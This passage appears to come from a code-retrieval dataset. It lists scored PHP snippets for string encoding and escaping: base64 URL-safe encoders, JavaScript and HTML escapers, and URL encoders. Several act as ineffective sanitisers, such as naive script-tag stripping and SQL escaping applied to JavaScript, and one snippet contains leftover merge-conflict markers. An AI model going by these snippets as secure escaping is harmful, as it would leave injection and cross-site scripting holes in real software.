_encodeLiterals(&$value, $key) {\n if (is_string($value)) {\n /* properly handle common literal structures */\n if (strpos($value, 'function(') === 0\n || strpos($value, 'this.') === 0\n || strpos($value, 'new Function(') === 0\n || strpos($value, 'Ext.') === 0) {\n $value = '@@' . base64_encode($value) . '@@';\n }\n }\n }", "title": "" }, { "docid": "b5c6fd54474cb3d28c3d125782020df4", "score": "0.64966303", "text": "function escape_string_for_js($st) {\n\treturn mysql_real_escape_string($st);\n}", "title": "" }, { "docid": "169d163e4840739f0d22f65716fd50cb", "score": "0.6468437", "text": "function uenc($s){ return str_replace('+','_',urlencode($s)); }", "title": "" }, { "docid": "b60f7897001c464c6693adf6ca7a0865", "score": "0.646153", "text": "static function encode($str){\n $str = base64_encode($str);\n return self::encodeBase64toURLSafe($str);\n }", "title": "" }, { "docid": "733ff706367443dc9323b41399bb446c", "score": "0.64461607", "text": "function webEncode( $String ){\n \treturn $String;\n }", "title": "" }, { "docid": "af24e0d5589abbd7dd2295e0610e9bdf", "score": "0.6442199", "text": "function urlsafe_b64encode($string) {\n $data = base64_encode($string);\n $data = str_replace(array('+', '/', '='), array('-', '_', ''), $data);\n return $data;\n }", "title": "" }, { "docid": "127d8d3211d4490f77ff8641f14bc511", "score": "0.64356214", "text": "protected function encodeStr($val){ return serialize($val); }", "title": "" }, { "docid": "efb8b6ca6a47be95182cf20ddf5e3537", "score": "0.6411254", "text": "function urlsafe_b64encode($string){\n $data = base64_encode($string);\n $data = str_replace(array('+','/'),array('-','_',''),$data);\n return $data;\n}", "title": "" }, { "docid": "9862381ee8103e9d2caa600b27fa3b6f", "score": "0.6372544", "text": "function getSafeJsString($inputString)\r\n\t{\r\n\t\t$inputString = str_replace(\"'\",\"\\\\'\",$inputString);\r\n\t\treturn $inputString;\r\n\t}", "title": "" }, { "docid": "7b2f961e90e92342e4330fd6673c48b1", "score": "0.63673216", "text": "private static function escapeJSString($string){\r\n\t\treturn addslashes($string);\r\n\t}", "title": "" }, { "docid": "ecb4b96111eb23983e12d410305e78a3", "score": "0.63445115", "text": "public static function encode($string) {\n return static::getInstance()->setString($string)->run(true);\n }", "title": "" }, { "docid": "2b1464908ae5849edddd4ef49d8b11e2", "score": "0.63267034", "text": "function safe_b64encode($string) {\n $skey = \"a1b2c3d4e5f6g7h8i9j10\";\n\t\t\t$data = base64_encode($string);\n\t\t\t$data = str_replace(array('+','/','='),array('-','_',''),$data);\n\t\t\treturn $data;\n\t\t}", "title": "" }, { "docid": "f10e3f6909383b20ae18dfcd4915e7cf", "score": "0.6323617", "text": "function escJsStr($str)\r\n {\r\n return addcslashes($str, '\\'');\r\n }", "title": "" }, { "docid": "160a635b8261edf45c81ab7d17204128", "score": "0.63174343", "text": "function base64UrlEncode(string $text): string\n{\n return str_replace(\n ['+', '/', '='],\n ['-', '_', ''],\n base64_encode($text)\n );\n}", "title": "" }, { "docid": "db2234d7cb43892bc8add800e2e1e9ae", "score": "0.6315266", "text": "function js($value)\n{\n $value = (string) $value;\n\n if ($value === \"\") {\n return $value;\n }\n\n $str = json_encode($value, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);\n\n if (json_last_error() !== JSON_ERROR_NONE) {\n throw new InvalidArgumentException(json_last_error_msg());\n }\n\n return preg_replace(\"#'#u\", \"\\\\'\", substr($str, 1, -1));\n}", "title": "" }, { "docid": "c8249073f30317dc85ad80b125b8ed1c", "score": "0.6313181", "text": "public static function encodeString($value)\n {\n return $value;\n }", "title": "" }, { "docid": "9a330e00a999c4ed6b6625076a244359", "score": "0.63011444", "text": "static function encode($input){\n\t\t\t\treturn JsonUtil::__rawjsonencode($input);\n\t\t}", "title": "" }, { "docid": "ffee3c0d80a39df02dd30cf8f2a3ef04", "score": "0.62954015", "text": "abstract public function _escape($str);", "title": "" }, { "docid": "01bdc2a86d9d549a7720e30c70b6e14d", "score": "0.6292839", "text": "private function _encode ( $string ) {\t\n\t\treturn str_replace(\" \", \"%20\", $string);\n\t}", "title": "" }, { "docid": "6d774fae2a9b836c202ad4f1ae38b6e7", "score": "0.62878567", "text": "public function encode($var, $encoding)\n {\n if ($encoding != 'UTF-8') {\n $var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');\n $var = html_entity_decode($var, ENT_NOQUOTES, $encoding);\n }\n \n return $var;\n }", "title": "" }, { "docid": "746e2e3ab52c2fa1069109b56be9b9cd", "score": "0.6277313", "text": "function form_encode($string)\r\n\t{\r\n\t/*make sure you remove the spaces in the first variable of the str_replace function, Word press doesn't seem to like to print out the htmlentity of the ampersand which is understandable*/\r\n\treturn str_replace(\"&amp;\", \"&\", (htmlentities(stripslashes($string), ENT_QUOTES)));\r\n\t}", "title": "" }, { "docid": "805822a0e079295cfc40f77746df5662", "score": "0.6272925", "text": "function tagger_ajax_escape($str)\r\n{\r\n $str = str_replace(array('\\\\', \"'\"), array(\"\\\\\\\\\", \"\\\\'\"), $str);\r\n $str = preg_replace('#([\\x00-\\x1F])#e', '\"\\x\" . sprintf(\"%02x\", ord(\"\\1\"))', $str);\r\n\r\n return $str;\r\n}", "title": "" }, { "docid": "805822a0e079295cfc40f77746df5662", "score": "0.6272925", "text": "function tagger_ajax_escape($str)\r\n{\r\n $str = str_replace(array('\\\\', \"'\"), array(\"\\\\\\\\\", \"\\\\'\"), $str);\r\n $str = preg_replace('#([\\x00-\\x1F])#e', '\"\\x\" . sprintf(\"%02x\", ord(\"\\1\"))', $str);\r\n\r\n return $str;\r\n}", "title": "" }, { "docid": "2dca5ee7f29a693bfa1824e7276f99d8", "score": "0.6259595", "text": "public static function jsEncodeString($objValue)\n {\n static $search = array(\"\\\\\", \"/\", \"\\n\", \"\\t\", \"\\r\", \"\\b\", \"\\f\", '\"');\n static $replace = array('\\\\\\\\', '\\\\/', '\\\\n', '\\\\t', '\\\\r', '\\\\b', '\\\\f', '\\\"');\n return '\"' . str_replace($search, $replace, $objValue) . '\"';\n }", "title": "" }, { "docid": "099e721d9dfac4654cf94ab311cae081", "score": "0.6255395", "text": "public static function encode ( $s )\n\t{\n\t\tif ($s !== false) {\n\t\t\t$s = str_replace('%7E', '~', rawurlencode($s));\n\t\t}\n\n\t\treturn $s;\n\t}", "title": "" }, { "docid": "c3f71377a46ef2ddf908465559c79031", "score": "0.62450457", "text": "function url_safe_base64_encode($str)\n{\n $find = ['+', '/'];\n $replace = ['-', '_'];\n return str_replace($find, $replace, base64_encode($str));\n}", "title": "" }, { "docid": "8875b5ba3648ff288730dae21e26628b", "score": "0.62243116", "text": "function encodeURIComponent($str) {\n\t$revert = array (\n\t\t\t'%21' => '!',\n\t\t\t'%2A' => '*',\n\t\t\t'%27' => \"'\",\n\t\t\t'%28' => '(',\n\t\t\t'%29' => ')' \n\t);\n\treturn strtr ( rawurlencode ( $str ), $revert );\n}", "title": "" }, { "docid": "be95da4edc8cc9df0727e311986a8168", "score": "0.6218451", "text": "function secureString($var,$conn){\n\t\tif(get_magic_quotes_gpc()) $var = stripslashes($var);\n\t\t$var = htmlentities($var); \n\t\treturn sanititzeString($var,$conn);\n\t}", "title": "" }, { "docid": "0ab3adb75f9d563588d10ca488a262c3", "score": "0.6206339", "text": "private function doEncode()\n {\n if( $this->encode === FALSE ) return;\n \n if( is_string($this->value) ) $this->value = utf8_encode( $this->value );\n }", "title": "" }, { "docid": "9e8a0bc7b6ba629d862cda01fef074aa", "score": "0.61970794", "text": "function escapeJsString( $s )\n{\n // $t = addcslashes( $s, '\\'\\\\\"'.\"\\n\\r\" );\n // $t = addcslashes( $s, '\\'\\\\\"'.\"\\n\\r\" );\n $t = str_replace(\"'\", \"\\'\", $s);\n $t = str_replace('\"', \"'+String.fromCharCode(34)+'\", $t);\n\n return $t;\n}", "title": "" }, { "docid": "556a6f2e76277fa5a69b307658110b03", "score": "0.6182838", "text": "public static function encodeJsVar($value)\n {\n if (is_bool($value))\n {\n $s = $value ? 'true' : 'false';\n }\n elseif (is_null($value))\n {\n $s = 'null';\n }\n elseif (is_int($value))\n {\n $s = $value;\n }\n elseif (is_array($value))\n {\n $s = '[';\n foreach ($value as $elt)\n {\n if ($s != '[')\n {\n $s .= ', ';\n }\n $s .= self :: encodeJsVar($elt);\n }\n $s .= ']';\n }\n elseif (is_object($value))\n {\n $s = '{';\n foreach ((array) $value as $name => $elt)\n {\n if ($s != '{')\n {\n $s .= ', ';\n }\n $s .= '\"' . self :: escapeJsString($name) . '\": ' . self :: encodeJsVar($elt);\n }\n $s .= '}';\n }\n else\n {\n $s = '\"' . self :: escapeJsString($value) . '\"';\n }\n return $s;\n }", "title": "" }, { "docid": "6040ba2ff025aa7fca1f030a81f7eab2", "score": "0.6174565", "text": "static public function encode($string)\n {\n if (is_int($string)) {\n $string = strval($string);\n }\n if (!is_string($string)) {\n $string = 'ERRROR ERRROR';\n }\n return htmlentities($string, ENT_QUOTES, self::$encoding);\n }", "title": "" }, { "docid": "440aa77bc73210e473c6842d4a39e871", "score": "0.6167634", "text": "protected function urlSafeEncode(string $data): string\n {\n $data = base64_encode($data);\n $data = strtr($data, '+/', '-_');\n return rtrim($data, '=');\n }", "title": "" }, { "docid": "d756095298f453a67ca2c7162e3ba930", "score": "0.6151439", "text": "function safeData($str){return str_replace('</script>','',str_replace('<script','',str_replace(\"=\",\"\",mysql_real_escape_string($str))));}", "title": "" }, { "docid": "92b8c80a21396a13c5140af247d013a2", "score": "0.61452544", "text": "function testStringJsonEncodeCompliance() {\n\t\tif (!function_exists('json_encode')) {\n\t\t\treturn;\n\t\t}\n\t\t$this->Javascript->useNative = false;\n\t\t$data = array();\n\t\t$data['mystring'] = \"simple string\";\n\t\t$this->assertEqual(json_encode($data), $this->Javascript->object($data));\n\n\t\t$data['mystring'] = \"strïng with spécial chârs\";\n\t\t$this->assertEqual(json_encode($data), $this->Javascript->object($data));\n\n\t\t$data['mystring'] = \"a two lines\\nstring\";\n\t\t$this->assertEqual(json_encode($data), $this->Javascript->object($data));\n\n\t\t$data['mystring'] = \"a \\t tabbed \\t string\";\n\t\t$this->assertEqual(json_encode($data), $this->Javascript->object($data));\n\n\t\t$data['mystring'] = \"a \\\"double-quoted\\\" string\";\n\t\t$this->assertEqual(json_encode($data), $this->Javascript->object($data));\n\n\t\t$data['mystring'] = 'a \\\\\"double-quoted\\\\\" string';\n\t\t$this->assertEqual(json_encode($data), $this->Javascript->object($data));\n\t}", "title": "" }, { "docid": "8c196e011b863dfecac862e82fc1322a", "score": "0.61320794", "text": "function safemode_injection($argument){\r\n\r\n\t$argument = addslashes($argument);\r\n\t$argument = utf8_decode($argument);\r\n\treturn $argument;\r\n\r\n}", "title": "" }, { "docid": "a5d2fc6e4482f3a282af65351e6c21ec", "score": "0.6120826", "text": "public function encode($data): string;", "title": "" }, { "docid": "428f4e0c8fdfaeb7bbb6c5ee0026ad6b", "score": "0.6117755", "text": "function encodeutf8($argument){\r\n\r\n\t$argument = utf8_encode($argument);\r\n\treturn $argument;\r\n\r\n}", "title": "" }, { "docid": "ea80fbed729bdcb5714545e977dda2dd", "score": "0.6110478", "text": "function escapestring($str) {\r\n return htmlspecialchars($str, ENT_QUOTES);\r\n}", "title": "" }, { "docid": "ecbdc431b84a2eaa982085930cda6146", "score": "0.60986656", "text": "function encodeURIComponent($str) {\n $revert = array('%21'=>'!', '%2A'=>'*', '%27'=>\"'\", '%28'=>'(', '%29'=>')');\n return strtr(rawurlencode($str), $revert);\n}", "title": "" }, { "docid": "6cee28d9771401f73a950364b7db9575", "score": "0.6097526", "text": "function encode($string) {\n\t//$string = str_replace(\"\\r\\n\", \"\\n\", slash_it($string));\n\t$string = str_replace(\"\\r\\n\", \"\\n\", $string);\n\t$string = str_replace(array('[pre]','[/pre]'),'', $string );\n\treturn htmlentities($string, ENT_NOQUOTES, 'utf-8'); // this is plenty\n}", "title": "" }, { "docid": "2bb82a69c2311dbe100bcd72870ba40a", "score": "0.6094373", "text": "public static function valueForJSInsert($str): string\n {\n return str_replace(\"'\", \"\\\\'\",\n str_replace('\"', '\\\\\"',\n str_replace(\"/\", \"\\\\/\",\n str_replace(\">\", \"\\\\x3e\",\n str_replace(\"<\", \"\\\\x3c\",\n str_replace(\"\\n\", \"\\\\n\",\n str_replace(\"\\r\", \"\\\\r\",\n str_replace(\"\\xe2\\x80\\xa8\", \"\\\\n\", // U+2028\n str_replace(\"\\xe2\\x80\\xa9\", \"\\\\n\", // U+2029\n str_replace(\"\\\\\", \"\\\\\\\\\", $str))))))))));\n }", "title": "" }, { "docid": "c96b41b988daa518d2405f34503f893f", "score": "0.60831684", "text": "public static function escapeJsString($string)\n {\n // See ECMA 262 section 7.8.4 for string literal format\n $pairs = array(\"\\\\\" => \"\\\\\\\\\", \"\\\"\" => \"\\\\\\\"\", '\\'' => '\\\\\\'', \"\\n\" => \"\\\\n\", \"\\r\" => \"\\\\r\", \n \n // To avoid closing the element or CDATA section\n \"<\" => \"\\\\x3c\", \">\" => \"\\\\x3e\", \n \n // To avoid any complaints about bad entity refs\n \"&\" => \"\\\\x26\", \n \n // Work around https://bugzilla.mozilla.org/show_bug.cgi?id=274152\n // Encode certain Unicode formatting chars so affected\n // versions of Gecko don't misinterpret our strings;\n // this is a common problem with Farsi text.\n \"\\xe2\\x80\\x8c\" => \"\\\\u200c\", // ZERO WIDTH NON-JOINER\n \"\\xe2\\x80\\x8d\" => \"\\\\u200d\"); // ZERO WIDTH JOINER\n \n return strtr($string, $pairs);\n }", "title": "" }, { "docid": "8c516dc26d76ee55bd544989a2e360a0", "score": "0.6081382", "text": "function escape($str)\n \t{\n\t\t$value = addcslashes($str,\"!@#$%^&()- _.'/\");\n\t\treturn $value;\n }", "title": "" }, { "docid": "34b1758a7e940a37c91facf78f6dbe4b", "score": "0.60740006", "text": "function encode($data) {\n\treturn base64_encode($data);\n}", "title": "" }, { "docid": "c0a3450a392554dda9ff9f544e5ed32f", "score": "0.6061108", "text": "public function safe_b64encode($string) {\n\t\n $data = base64_encode($string);\n $data = str_replace(array('+','/','='),array('-','_',''),$data);\n return $data;\n }", "title": "" }, { "docid": "15d76edb5f64568016e49fd7434fe381", "score": "0.6054933", "text": "public function escape($str);", "title": "" }, { "docid": "532c5c6428da3e76b2b0ddfe4b2158bc", "score": "0.60502785", "text": "static function encode(&$data) {\n if(is_object($data) || is_array($data)) {\n // skip the flexible_table\n if(!is_a($data, 'flexible_table')) {\n foreach($data as $index => &$datum) {\n $datum = assmgr_db::encode($datum);\n }\n }\n return $data;\n } else {\n // decode any special characters prevent malicious code slipping through\n $data = assmgr_db::decode_htmlchars($data, ENT_QUOTES);\n\n // purify all data (e.g. validate html, remove js and other bad stuff)\n $data = purify_html($data);\n\n // encode the purified string\n $data = trim(preg_replace('/\\\\\\/', '&#92;', htmlentities($data, ENT_QUOTES, 'utf-8', false)));\n\n // convert the empty string into null as such values break nullable FK fields\n return ($data == '') ? null : $data;\n }\n }", "title": "" }, { "docid": "55fc250521971a0ab399f0915e8624af", "score": "0.60497206", "text": "static function __rawjsonencode(&$input){\n\t\t\t\tif(is_array($input) || is_object($input))\n\t\t\t\t\t\t$input = JsonUtil::__encode($input);\n\t\t\t\telseif(is_string($input) || is_float($input) || is_int($input) || is_bool($input) || is_null($input))\n\t\t\t\t\t\t$input = substr(JsonUtil::__encode(array($input)), 1, -1);\n\t\t\t\telse\n\t\t\t\t\t\t$input = 'null';\n\t\t\t\treturn $input;\n\t\t}", "title": "" }, { "docid": "60d7d6a6746eee875a0fb864a7bf0a19", "score": "0.6039538", "text": "function html_encode($string)\n{\n\treturn htmlentities($string, ENT_QUOTES, 'UTF-8') ;\n}", "title": "" }, { "docid": "e0c9bc392a168d049da8e691fa676837", "score": "0.6035404", "text": "function specialchars_encode( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {\n\t$string = (string) $string;\n\n\tif ( 0 === strlen( $string ) )\n\t\treturn '';\n\n\t// Don't bother if there are no specialchars - saves some processing\n\tif ( ! preg_match( '/[&<>\"\\']/', $string ) )\n\t\treturn $string;\n\n\t// Account for the previous behaviour of the function when the $quote_style is not an accepted value\n\tif ( empty( $quote_style ) )\n\t\t$quote_style = ENT_NOQUOTES;\n\telseif ( ! in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) )\n\t\t$quote_style = ENT_QUOTES;\n\n\t$charset = 'UTF-8';\n\n\t$_quote_style = $quote_style;\n\n\tif ( $quote_style === 'double' ) {\n\t\t$quote_style = ENT_COMPAT;\n\t\t$_quote_style = ENT_COMPAT;\n\t} elseif ( $quote_style === 'single' ) {\n\t\t$quote_style = ENT_NOQUOTES;\n\t}\n\n\t// Handle double encoding ourselves\n\tif ( $double_encode ) {\n\t\t$string = @htmlspecialchars( $string, $quote_style, $charset );\n\t} else {\n\t\t// Decode &amp; into &\n\t\t$string = specialchars_decode( $string, $_quote_style );\n\n\t\t// Now re-encode everything except &entity;\n\t\t$string = preg_split( '/(&#?x?[0-9a-z]+;)/i', $string, -1, PREG_SPLIT_DELIM_CAPTURE );\n\n\t\tfor ( $i = 0; $i < count( $string ); $i += 2 )\n\t\t\t$string[$i] = @htmlspecialchars( $string[$i], $quote_style, $charset );\n\n\t\t$string = implode( '', $string );\n\t}\n\n\t// Backwards compatibility\n\tif ( 'single' === $_quote_style )\n\t\t$string = str_replace( \"'\", '&#039;', $string );\n\n\treturn $string;\n}", "title": "" }, { "docid": "5a3b4041d9cecb28325ee63562d94608", "score": "0.6030532", "text": "public function safe_b64encode($string) {\r\n $data = base64_encode($string);\r\n $data = str_replace(array('+','/','='),array('-','_',''),$data);\r\n return $data;\r\n }", "title": "" }, { "docid": "18e634a33cc0fff9ec216e50255e672b", "score": "0.602251", "text": "function escape($string) {\n\t\treturn $this->validator->specialChars(strval($string));\n\t}", "title": "" }, { "docid": "ff3280897fdc84c48dffd1424856f4a3", "score": "0.6016714", "text": "function encodeURIComponent($str) {\n\t$revert = array('%21'=>'!', '%2A'=>'*', '%27'=>\"'\", '%28'=>'(', '%29'=>')');\n\treturn strtr(rawurlencode($str), $revert);\n}", "title": "" }, { "docid": "47963645f3ed97e7274566ce54f6aeb4", "score": "0.6013801", "text": "public function encode($s) {\n\tif (utf8_encode(utf8_decode($s)) == $s) return $s;\n\telse return utf8_encode($s);\n }", "title": "" }, { "docid": "4a6b2d1e4b6271786b16b11321da7dbe", "score": "0.6003042", "text": "public function safe_b64encode($string) {\n $data = base64_encode($string);\n $data = str_replace(array('+','/','='),array('-','_',''),$data);\n return $data;\n }", "title": "" }, { "docid": "627b5d9cce6c29c57c4e6009e3460bb6", "score": "0.5972445", "text": "function email_encode(string $email): string{\n\t\treturn strtr(htmlentities($email), ['@' => '&#64;', '.' => '&#46;']);\n\t}", "title": "" }, { "docid": "714c9803d99aac7b918d54ae82a9a901", "score": "0.59673476", "text": "public static function encode($string, $forceKey = null)\n\t{\n\t\treturn base64_encode(static::process($string, $forceKey));\n\t}", "title": "" }, { "docid": "8c9a162509f4e9d1d4c5625a8ed2dba6", "score": "0.59671056", "text": "function js_escape( $text ) {\n\treturn esc_js( $text );\n}", "title": "" }, { "docid": "7127adc278e3050b4df2d9f1baf72943", "score": "0.59464693", "text": "public function encode()\n {\n }", "title": "" }, { "docid": "dc6cec6ae185db6b8072855487bd7970", "score": "0.59457964", "text": "public static function toJsVar($str)\n {\n return json_encode($str); \n }", "title": "" }, { "docid": "5981ac0661c111c723ec590d972c730e", "score": "0.5945255", "text": "public function idEncode($string)\n {\n return strtr(base64_encode($string), '+/=', ':_-');\n }", "title": "" }, { "docid": "5981ac0661c111c723ec590d972c730e", "score": "0.5945255", "text": "public function idEncode($string)\n {\n return strtr(base64_encode($string), '+/=', ':_-');\n }", "title": "" }, { "docid": "dae75137524b91b109b15fcb8b632a86", "score": "0.5943609", "text": "public function base64_url_encode($input){\n return strtr(base64_encode($input),'+/=','-_,');\n}", "title": "" }, { "docid": "724d75bb2ee56ee00c6a438096292bc2", "score": "0.59397393", "text": "public function encode($value)\r\n {\r\n return CI::encrypt()->encode($value);\r\n }", "title": "" }, { "docid": "e19de23f4e075c7f20fc9d57288a16e5", "score": "0.59317064", "text": "private static function encodeFieldValue($value) \n\t{\n\t\treturn urlencode($value);\n\t}", "title": "" }, { "docid": "2173bb101dbff2f1613404d969c64953", "score": "0.5929663", "text": "public static function encode($data): string\n {\n return json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);\n }", "title": "" }, { "docid": "5cd66309818032b4a8474a146e007e6d", "score": "0.5929062", "text": "function base64_encode_custom($str) {\n $str = base64_encode($str);\n $from = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n $to = \"zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210-_\";\n $str = strtr($str, $from, $to); // inter-change characters\n return $str;\n}", "title": "" }, { "docid": "74d1cee6bcd99d95e579b5be5d47e0f2", "score": "0.59268683", "text": "public function urlsafeB64Encode($input)\n {\n return str_replace('=', '', strtr(base64_encode($input), '+/', '-_'));\n }", "title": "" }, { "docid": "dc7ad22f5008d7ded41f25c3c453eeee", "score": "0.59190613", "text": "function encodeVars($varsArray){\n \t$vars = '';\n \tif (count($varsArray) > 0){\n \t\tforeach ($varsArray as $var => $value){\n \t\t\t$vars .= '&'.$var.'='.$value;\n \t\t}\n \t}\n \treturn $vars;\n\t}", "title": "" }, { "docid": "0747b214290d4bbd21d7f831da35c54d", "score": "0.5915143", "text": "public static function encode($data)\n {\n return json_encode($data, JSON_UNESCAPED_UNICODE);\n }", "title": "" }, { "docid": "614bb5a6645690a235758e8a006c6935", "score": "0.59149975", "text": "function foogallery_video_esc_json_encode( $data ) {\r\n\tif ( defined( 'JSON_HEX_AMP' ) ) {\r\n\t\t// This is nice to have, but not strictly necessary since we use _wp_specialchars() below\r\n\t\t$data = json_encode( $data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );\r\n\t} else {\r\n\t\t$data = json_encode( $data );\r\n\t}\r\n\treturn _wp_specialchars( $data, ENT_QUOTES, false, true );\r\n}", "title": "" }, { "docid": "4cd3d51304c4702ce36ff161fc1aa4c8", "score": "0.59145397", "text": "private function encodeUrlParam($string)\n {\n $string = str_replace('+', '%2B', $string);\n $string = str_replace(' ', '+', $string);\n $string = str_replace('#', '%23', $string);\n $string = str_replace('/', '%252F', $string);\n\n return strtolower($string);\n }", "title": "" }, { "docid": "65d1993f786ccffd598102593f05cbca", "score": "0.5912789", "text": "function escape_string($string)\n{\n\tglobal $connection;\n\t$string=htmlentities($string);\n \treturn $string;\n}", "title": "" }, { "docid": "b91b3ccc26db17cd8143e536b17d3e05", "score": "0.59103537", "text": "private static function base64EncodeUrlSafe(string $string)\n {\n return str_replace('=', '', strtr(base64_encode($string), '+/', '-_'));\n }", "title": "" }, { "docid": "26be8cbbdec9292542ee04fecc481ecf", "score": "0.5909936", "text": "function encode($string){\r\n $key = '[Lvn[o]6e{y=q#82]G.]rDzv.j';\r\n $keyLen = strlen($key);\r\n \r\n $strLen = strlen($string);\r\n\r\n if($keyLen < $strLen) {\r\n $key = str_pad($key, $strLen, $key);\r\n }\r\n\r\n $content='';\r\n for($i = 0; $i < $strLen; $i++) {\r\n $content .= chr(ord($string[$i]) ^ ord($key[$i]));\r\n }\r\n<<<<<<< HEAD\r\n// return $content;\r\n $content = urlencode($content);\r\n $search = array('+','?');\r\n $replace = array('_','-');\r\n str_replace($search,$replace,$content);\r\n return $content;\r\n=======\r\n return urlencode(base64_encode($content));\r\n\r\n>>>>>>> b554e378b235653238e2dba08e0e80062af27bc7\r\n}", "title": "" }, { "docid": "bbb90da9960c563dbc1bdc304e687cf7", "score": "0.5905566", "text": "function escape($string)\n{\n return htmlentities($string, ENT_QUOTES, 'UTF-8');\n}", "title": "" }, { "docid": "bbb90da9960c563dbc1bdc304e687cf7", "score": "0.5905566", "text": "function escape($string)\n{\n return htmlentities($string, ENT_QUOTES, 'UTF-8');\n}", "title": "" }, { "docid": "bf5980a92b7d0e4d09f9ff9ddff3c221", "score": "0.5903663", "text": "function escape($string){\n return htmlentities($string, ENT_QUOTES,'UTF-8');\n}", "title": "" }, { "docid": "f471d89e588606935ce230ab5c3b146d", "score": "0.58976746", "text": "function safe_encode($string, $salt){\n $string = strrev($string . $salt);\n $string = sha1($string);\n return $string;\n}", "title": "" }, { "docid": "3ddf457c920ead8036cae6158b68d98d", "score": "0.5897583", "text": "function monetdb_escape_string($str) {\n\t\treturn mapi_quote($str, strlen($str));\n\t}", "title": "" } ]
636b11deb068f9f304080bd59946f4ed
Displays a trend of value
[ { "docid": "ef1d2203e15be417769248e1223d717b", "score": "0.665237", "text": "public function actionTrend()\n {\n $request = Yii::$app->request;\n $measureUuid = $request->getQueryParam('measure');\n $measureTypeUuid = $request->getQueryParam('measure');\n $measuredValues = array(0);\n $name = '';\n if (!empty($measureTypeUuid) && !empty($measureUuid)) {\n $measuredValues = MeasuredValue::find()\n ->where(['measureTypeUuid' => $measureTypeUuid])\n ->where(['measureUuid' => $measureUuid])\n ->orderBy('date')\n ->all();\n if ($measuredValues[0] != null)\n $name = $measuredValues[0][\"measureType\"]->title;\n }\n return $this->render('trend', [\n 'values' => $measuredValues,\n 'name' => $name\n ]);\n }", "title": "" } ]
[ { "docid": "bc869958d9889df3228ecf3feb91b565", "score": "0.5826876", "text": "function printdata(&$chartdata){\n\t\t$values = array();\n\t\tfor($i = 0; $i<sizeof($chartdata); ++$i){\n\t\t\tarray_push($values, $chartdata[$i][\"y\"]);\t\n\t\t}\n\t\t$average = array_sum($values)/count($values);\n\t\t$mode = $this->array_mode($values);\n\t\t$range = max($values) - min($values);\n\t\techo(\"Average: $average<br>Mode: $mode<br>Range: $range<br>\");\n\t}", "title": "" }, { "docid": "53f32818123d430ff7fb7c454c4e1c58", "score": "0.5743138", "text": "public function getTrend1()\n {\n return $this->trend1;\n }", "title": "" }, { "docid": "9a4a0a295af192852ed893838892c51b", "score": "0.57074094", "text": "function print_td_pct($numer, $denom, $bold=false, $attributes=null) {\n global $vbar;\n global $vbbar;\n global $diff_mode;\n\n $class = get_print_class($numer, $bold);\n\n if ($denom == 0) {\n $pct = \"N/A%\";\n } else {\n $pct = xhprof_percent_format($numer / abs($denom));\n }\n\n print(\"<td $attributes $class>$pct</td>\\n\");\n}", "title": "" }, { "docid": "4d139461772e3f31c86dd158b5a305f9", "score": "0.5608496", "text": "protected function getKeyFigureTrend(array $values) {\n if (count($values) < 2) {\n return NULL;\n }\n\n // The values are ordered by newest first. We want the 2 most recent values\n // to compute the trend.\n $first = reset($values);\n $second = next($values);\n\n if ($second['value'] === 0) {\n $percentage = 100;\n }\n else {\n $percentage = (int) round((1 - $first['value'] / $second['value']) * 100);\n }\n\n if ($percentage === 0) {\n $message = $this->t('No change');\n }\n elseif ($percentage < 0) {\n $message = $this->t('@percentage% increase', [\n '@percentage' => abs($percentage),\n ]);\n }\n else {\n $message = $this->t('@percentage% decrease', [\n '@percentage' => abs($percentage),\n ]);\n }\n\n $trend = [\n 'message' => $message,\n 'since' => $this->t('since @date', [\n '@date' => $second['date']->format('j M Y'),\n ]),\n ];\n\n return $trend;\n }", "title": "" }, { "docid": "b2931fc02f374683268ce1d87958430a", "score": "0.5505332", "text": "public function trending(array $params = [ ])\n\t{\n\t\treturn $this->client->get(\"gifs/trending\", $params);\n\t}", "title": "" }, { "docid": "2dff51f4cae38c0f19d93f40c4717f9d", "score": "0.5425906", "text": "public function df($value);", "title": "" }, { "docid": "af1c14b0fa2bc4dcc2614a6a00f4d996", "score": "0.53733665", "text": "function energy_format($value) {\r\n \r\n\treturn '<span class=\"energy\">'.number_format($value,0,\",\",\".\").'</span>';\r\n}", "title": "" }, { "docid": "6698d38b3cb5884e84a3a788ebb1c973", "score": "0.5351746", "text": "function theme_cms_species_population_trend_formatter($variables) {\n extract($variables); // $item\n $ret = '';\n if(!empty($item['#items'])) {\n $value = '';\n foreach($item['#items'] as $idx => $st) {\n $ob = $item[$idx];\n $region = $ob['region'];\n $years = $ob['years'];\n $quality = $ob['quality'];\n $trend = $ob['trend'];\n $reference_title = $reference = $ob['reference'];\n $notes = $ob['notes'];\n\n $ret .= sprintf('<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td>',\n $region, $years, $quality, $trend);\n\n if (strlen($reference_title) > 50) {\n $reference_title = substr($reference_title, 0, 50);\n $ret .= sprintf('<td>\n %s\n <a href=\"javascript:void(0);\"\n class=\"ref-popover\"\n rel=\"popover\"\n data-original-title=\"Reference\"\n data-trigger=\"hover\"\n data-placement=\"left\"\n data-content=\"%s\">[' . t('more') . ']</a>\n </td>', $reference_title, $reference);\n }else {\n $ret .= sprintf('<td>%s</td>', $reference);\n }\n\n $ret .= sprintf('<td>%s</td></tr>', $notes);\n }\n return $ret;\n }\n}", "title": "" }, { "docid": "1ef3ca61f8b643876e372a08e73cbaa9", "score": "0.53059316", "text": "protected function getTrend(string $value): int\n {\n $decimal = $this->asDecimal($value);\n\n return $decimal > 0 ? 1 : ($decimal < 0 ? -1 : 0);\n }", "title": "" }, { "docid": "4531f442ffc976590f927ad00f7b918a", "score": "0.5268457", "text": "function Prediction_Display($Chemical_name, $model_name, $model_value, $mol_Weight, $model_unit, $converted_unit, $Lower_CI, $Upper_CI, $sigma_value, $Note)\n\t{\n\tif ($model_value != 0){\t\t \n\t\t\n\t\t\n\t\t$Lower_95 = $model_value + $Lower_CI;\n\t\t$Upper_95 = $model_value + $Upper_CI;\n\t\t\n\t\t// echo '$Upper_95 = $model_value + $Upper_CI: '. $Upper_95, $model_value, $Upper_CI;;\n\t\t\t\t\n\t\t\t\t\n\t\tif 